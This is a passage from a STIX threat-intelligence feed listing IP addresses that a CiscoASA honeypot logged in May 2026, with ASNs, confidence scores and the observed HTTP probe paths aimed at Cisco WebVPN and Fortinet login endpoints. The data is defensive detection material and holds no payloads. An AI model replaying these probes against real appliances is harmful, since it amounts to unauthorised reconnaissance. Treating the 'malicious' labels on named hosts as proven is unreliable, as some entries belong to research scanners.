      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--37632cb3-8e7d-4832-8429-6b6c31da14e8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.120.211.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T08:20:11.000Z",
      "valid_until": "2026-06-30T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-29T07:49:32.032Z",
          "last_seen": "2026-05-29T07:49:47.416Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T08:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--438a09da-aa30-4f0b-ae40-01ee33523188",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '193.228.131.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T08:20:11.000Z",
      "valid_until": "2026-06-30T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-29T07:36:35.681Z",
          "last_seen": "2026-05-29T11:37:10.074Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T08:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /api/v2/static/not.found HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--2eb4ea58-51f6-48ff-84c6-6dd2e4f7fedb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T08:20:11.000Z",
      "valid_until": "2026-06-30T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-29T07:57:09.211Z",
          "last_seen": "2026-05-29T08:03:46.869Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
            "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -",
            "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -",
            "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -",
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -",
            "\"GET /login?redir=/ng HTTP/1.1\" 404 -",
            "\"GET /remote/logincheck HTTP/1.1\" 404 -",
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T08:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--43b1c8f5-3fc2-46fb-be74-0d0d564ad75d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T08:20:11.000Z",
      "valid_until": "2026-06-30T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-29T08:01:05.826Z",
          "last_seen": "2026-05-29T08:01:16.508Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T08:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--1faf0bf9-1477-42ed-a582-a6e1cec15b64",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T08:20:11.000Z",
      "valid_until": "2026-06-30T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-29T07:59:08.809Z",
          "last_seen": "2026-05-29T08:01:31.184Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T08:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--a2fea3bc-f010-436f-a479-ad589d58de45",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T08:20:11.000Z",
      "valid_until": "2026-06-30T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-29T08:01:02.937Z",
          "last_seen": "2026-05-29T08:01:02.937Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T08:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--a832fc33-637f-42ac-8189-431241b2a4b2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T08:20:11.000Z",
      "valid_until": "2026-06-30T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-29T08:01:12.807Z",
          "last_seen": "2026-05-29T08:01:12.807Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T08:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--ffd4c53d-0a46-410b-a7d3-3c1de1b00c52",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T08:20:11.000Z",
      "valid_until": "2026-06-30T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-29T07:59:46.809Z",
          "last_seen": "2026-05-29T07:59:46.809Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T08:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--dfeac12a-6ef5-48d3-a0ff-7657fb397b79",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T08:20:11.000Z",
      "valid_until": "2026-06-30T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-29T07:35:49.516Z",
          "last_seen": "2026-05-29T07:36:03.480Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T09:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--3934f8a1-e1ce-47ab-82fe-66d62ba74199",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.244.161.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T09:20:13.000Z",
      "valid_until": "2026-06-30T09:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-29T08:23:30.591Z",
          "last_seen": "2026-05-29T13:16:03.591Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T09:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 16509 (Amazon.com, Inc.)",
      "id": "indicator--5d95e4f5-af58-4524-beca-b2d33318c663",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '3.141.26.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T09:20:13.000Z",
      "valid_until": "2026-06-30T09:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-29T09:11:18.424Z",
          "last_seen": "2026-05-29T09:11:21.429Z",
          "country": "United States",
          "country_code": "US",
          "asn": 16509,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T10:20:27.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--365a89e3-a5e3-4184-b047-f0aa1888c597",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '142.111.112.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T10:20:27.000Z",
      "valid_until": "2026-06-30T10:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-29T10:01:33.468Z",
          "last_seen": "2026-05-29T10:01:47.452Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T10:20:27.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--c61d62da-b3fd-4e0e-bcfa-0bd9b87fe70b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '142.111.3.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T10:20:27.000Z",
      "valid_until": "2026-06-30T10:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-29T09:23:22.175Z",
          "last_seen": "2026-05-30T11:19:41.948Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T10:20:27.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 204957 (Green Floid LLC)",
      "id": "indicator--e5d40dd1-e52b-4171-a121-68a13dc376ff",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '155.212.66.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T10:20:27.000Z",
      "valid_until": "2026-06-30T10:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-29T09:51:26.489Z",
          "last_seen": "2026-05-29T22:01:35.279Z",
          "country": "United States",
          "country_code": "US",
          "asn": 204957,
          "as_org": "Green Floid LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T10:20:27.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 204957 (Green Floid LLC)",
      "id": "indicator--3df340f6-f776-4103-91e4-1546ff26dd04",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '176.100.146.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T10:20:27.000Z",
      "valid_until": "2026-06-30T10:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-29T10:12:18.489Z",
          "last_seen": "2026-05-29T10:12:31.106Z",
          "country": "United States",
          "country_code": "US",
          "asn": 204957,
          "as_org": "Green Floid LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T10:20:27.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--138da397-0626-4366-a5ff-3249f3bbbb35",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.39.244.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T10:20:27.000Z",
      "valid_until": "2026-06-30T10:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 75,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 28,
          "first_seen": "2026-05-29T09:48:11.168Z",
          "last_seen": "2026-05-30T08:06:58.014Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T11:20:30.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--4b8d832e-7818-4f0a-b49b-74550653f2c4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '142.252.86.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T11:20:30.000Z",
      "valid_until": "2026-06-30T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-29T10:33:45.793Z",
          "last_seen": "2026-05-30T04:52:39.715Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T11:20:30.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 204957 (Green Floid LLC)",
      "id": "indicator--0bbb0a04-34f8-4bc6-ae52-0b3d33d83221",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '155.212.114.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T11:20:30.000Z",
      "valid_until": "2026-06-30T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-29T10:34:58.895Z",
          "last_seen": "2026-05-29T10:35:12.503Z",
          "country": "United States",
          "country_code": "US",
          "asn": 204957,
          "as_org": "Green Floid LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T11:20:30.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--0ddaba23-f14c-42a5-974f-e2ce5db8b92e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.120.71.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T11:20:30.000Z",
      "valid_until": "2026-06-30T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-29T10:22:29.090Z",
          "last_seen": "2026-05-31T01:17:12.120Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T11:20:30.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--21da5c5d-04ef-4005-b33a-a9fd9313001b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.128.43.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T11:20:30.000Z",
      "valid_until": "2026-06-30T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-29T10:45:26.752Z",
          "last_seen": "2026-05-30T08:28:51.888Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T11:20:30.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
